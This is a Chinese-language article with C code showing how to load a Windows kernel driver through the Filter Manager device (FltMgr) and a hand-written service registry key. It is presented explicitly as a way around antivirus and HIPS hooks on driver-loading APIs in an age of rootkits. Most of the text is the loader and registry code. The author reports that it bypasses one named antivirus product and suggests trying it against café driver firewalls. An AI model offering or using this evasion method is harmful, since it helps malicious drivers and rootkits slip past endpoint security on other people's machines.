一种另类驱动加载办法
华中科技大学
在这个病毒=Rootkit的时代,驱动的加载无疑是重中之重,自然的,各种ARK以及Hips对驱动也是严加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,这些API大多都被SSDT HOOK了,使用这些API会被拦截掉,从而使得驱动无法加载,不过,也有一些绕过的办法。
微软为windows专门设计了一套微过滤驱动(mini filters),这套驱动是专用于管理文件过滤驱动的加载和运行,很多的虚拟磁盘驱动,还有还原软件常用的磁盘过滤驱动,都是使用微过滤驱动进行加载的,而且一般杀毒软件对这块管的并没有那么严,所以可以从这里下手去加载。
不同于其他的驱动,Minifilter由一个独立的manager管理而不仅仅是SCM(服务管理器),他的全称叫Microsoft File System Filter Manager(想了解更多关于微处理管理器和微过滤驱动的内容,可以到微软官网查询,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。
加载驱动的主要代码比较简单
int main( int argc , char *argv[] )
{
HANDLE hDevice;
LOAD service_to_load;
BOOL err;
DWORD dwRet=0;
WCHAR drvPath[512];
memset( drvPath , 0 , 512 );
GetCurrentDirectoryW( MAX_PATH , drvPath );//将驱动放在当前目录下进行加载
lstrcatW( drvPath , L"\\load.sys" );//驱动名称必须为load.sys
make_reg( L"load" , drvPath );
hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//启用Fltmgr进行驱动的加载
if( hDevice == INVALID_HANDLE_VALUE )
{
printf("CreateFile failed with status : %d\n" , GetLastError() );//这个是错误处理
goto __end;
}
wcscpy( service_to_load.ServiceName , L"load");
service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);
err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//传送控制码
if( !err )
{
printf("sorry\n");
goto __end;
}
printf(":)\n");
__end:
CloseHandle( hDevice );
return 0;
}
这段代码和SCM加载驱动的代码基本一致,只不过换成了Fltmgr进行加载。
驱动还需要在注册表中进行服务的注册,不过这个注册和SCM加载的方式一摸一样,也不必多说了。
VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )
{
DWORD dwType = SERVICE_KERNEL_DRIVER; //定义注册类型为内核驱动
DWORD dwStart = SERVICE_DEMAND_START; //手动启动服务
HKEY hKey;
WCHAR szMain[512] = {0};
WCHAR szImgPath[512] = {0};
wchar_t szRegPath[512]={0};
wsprintfW( szMain,
L"%s%s",
L"SYSTEM\\CurrentControlSet\\Services\\",
szDriverName );//在service键值下注册
wsprintfW( szImgPath,
L"%s%s",
L"\\??\\",
szDriverPath);
if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )
{
RegSetValueExW( hKey,
L"DisplayName",
0,
REG_SZ,
(LPBYTE)szDriverName,
(DWORD)lstrlenW(szDriverName)*2);
RegSetValueExW( hKey,
L"ImagePath",
0,
REG_EXPAND_SZ,
(LPBYTE)szImgPath,
(DWORD)lstrlenW(szImgPath)*2);
RegSetValueExW( hKey,
L"Type",
0,
REG_DWORD,
(LPBYTE)&dwType,
(DWORD)sizeof(dwType) );
RegSetValueExW( hKey,
L"Start",
0,
REG_DWORD,
(LPBYTE)&dwStart,
(DWORD)sizeof(dwStart) );
}
}
这种方法经过测试,可以过瑞星2010最新版,360过不了,其他的待测,网吧的驱动防火墙不知能不能过,也许可以尝试下……
如果对驱动的加载方式以及原理不是特别了解,可以去参考Programming The Windows Driver Model。